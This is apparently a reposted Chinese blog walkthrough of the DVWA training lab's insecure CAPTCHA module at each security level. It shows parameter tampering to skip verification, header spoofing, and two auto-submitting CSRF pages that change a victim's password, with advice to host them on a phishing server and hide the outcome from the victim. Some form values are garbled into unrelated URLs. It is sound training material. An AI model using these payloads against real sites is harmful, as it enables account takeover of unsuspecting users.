dvwa不能正常顯示,需要在組態檔中加入谷歌的密鑰:
$_DVWA[ 'recaptcha_public_key' ] = '6LfX8tQUAAAAAOqhpvS7-b4RQ_9GVQIh48dRMGsD';
$_DVWA[ 'recaptcha_private_key' ] = '6LfX8tQUAAAAAIR5ddYvRf3zNqM-k__Ux73oZzb_';
驗證碼還是不能完整顯示,google賬號一直注冊失敗,不過還是可以正常練習本題目,
Insecure CAPTCHA,意思是不安全的驗證碼,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自動區分計算機和人類的圖靈測驗)的簡稱,但個人覺得,這一模塊的內容叫做不安全的驗證流程更妥當些,因為這塊主要是驗證流程出現了邏輯漏洞,谷歌的驗證碼表示不背這個鍋,
LOW
看代碼,這里修改密碼是分成二個步驟的,第一步是用來判斷驗證碼的正確性,如果正確了就再回傳密碼的界面,這個界面就不再需要輸入驗證碼的,按提交就可以修改密碼了,這兩個部分的用 form 表單的 step 欄位區分,,
1.通過構造引數繞過驗證程序的第一步
首先輸入密碼,點擊Change按鈕,抓包:
ps:因為沒有翻墻,所以沒能成功顯示驗證碼,發送的請求包中也就沒有recaptcha_challenge_field、recaptcha_response_field兩個引數)
把step的值由1修改為2,單擊Forward按鈕,回到DVWA頁面,則顯示修改完成界面,
2.由于沒有任何的防CSRF機制,我們可以輕易地構造攻擊頁面,頁面代碼如下(類似CSRF)
<html>
<body onl oad="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.0.104/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="https://www.cnblogs.com/zjwoo/p/password">
<input type="hidden" name="password_conf" value="https://www.cnblogs.com/zjwoo/p/password">
<input type="hidden" name="step" value="https://www.cnblogs.com/zjwoo/p/2"
<input type="hidden" name="Change" value="https://www.cnblogs.com/zjwoo/p/Change">
</form>
</div>
</body>
</html>
把上面腳本檔案放在一個釣魚的服務器上,當受害者訪問這個頁面時,攻擊腳本會偽造修改密碼的請求發送給服務器,這個方法存在的問題是,受害者會看到修改密碼成功的界面,因為修改密碼成功后,服務器回傳302,實作自動跳轉,受害者會看到自己受到了攻擊,所以,最好是設定跳轉到一個bad頁面,讓受害者以為自己單擊錯誤,
抓包截圖:
可以看到抓到的資訊是完整的,單擊【Forward】則可以彈出修改成功頁面,
2、Medium中級別
可以看到,Medium級別的代碼在第二步驗證時,參加了對引數passed_captcha的檢查,如果引數值為true,則認為用戶已經通過了驗證碼檢查,然而用戶依然可以通過偽造引數繞過驗證,本質上來說,這與Low級別的驗證沒有任何區別,
更改報文,繞過對引數passed_captcha的檢查,
更改密碼成功:
2、同樣可以實施CSRF攻擊,攻擊頁面代碼如下:
<html>
<body onl oad="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.92.129/DVWA/vulnerabilities/captcha/">
<input type="hidden" name="step" value="https://www.cnblogs.com/zjwoo/p/2">
<input type="hidden" name="password_new" value="https://www.cnblogs.com/zjwoo/p/123321">
<input type="hidden" name="password_conf" value="https://www.cnblogs.com/zjwoo/p/123321">
<input type="hidden" name="Change" value="https://www.cnblogs.com/zjwoo/p/Change">
<input type="hidden" name="passed_captcha" value="https://www.cnblogs.com/zjwoo/p/true">
</form>
</div>
</body>
</html>
把上面代碼存在一個php檔案中,放在攻擊的服務器上,把上面的檔案網址發送給受害者,受害者點擊則進行密碼修改,
抓包如下:

Forward執行,則顯示修改成功頁面,
3、High高級別
可以看到,服務器的驗證邏輯是當$resp(指谷歌驗證碼回傳的驗證結果)是false,并且引數recaptcha_response_field不等于hidd3n_valu3(或者http包頭的User-Agent引數不等于reCAPTCHA)時,就認為驗證碼輸入錯誤,反之則認為驗證碼檢查通過,
知道驗證邏輯后,下面是偽造繞過,由于$ resp引數我們無法控制,所以重心放在引數recaptcha_response_field,User-Agent上,
初步依舊是抓包:
更改引數recaptcha_response_field以及http包頭的User-Agent:
密碼修改成功:
Impossible
可以看到,Impossible級別的代碼增加了Anti-CSRF token 機制防御CSRF攻擊,利用PDO技術防護sql注入,驗證程序終于不再分成兩部分了,驗證碼無法繞過,同時要求用戶輸入之前的密碼,進一步加強了身份認證,
本文選自https://www.freebuf.com/articles/web/119692.html和https://zhuanlan.zhihu.com/p/105781916
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/21030.html
標籤:其他
上一篇:物理機burp抓虛擬機包
下一篇:burpsuite start method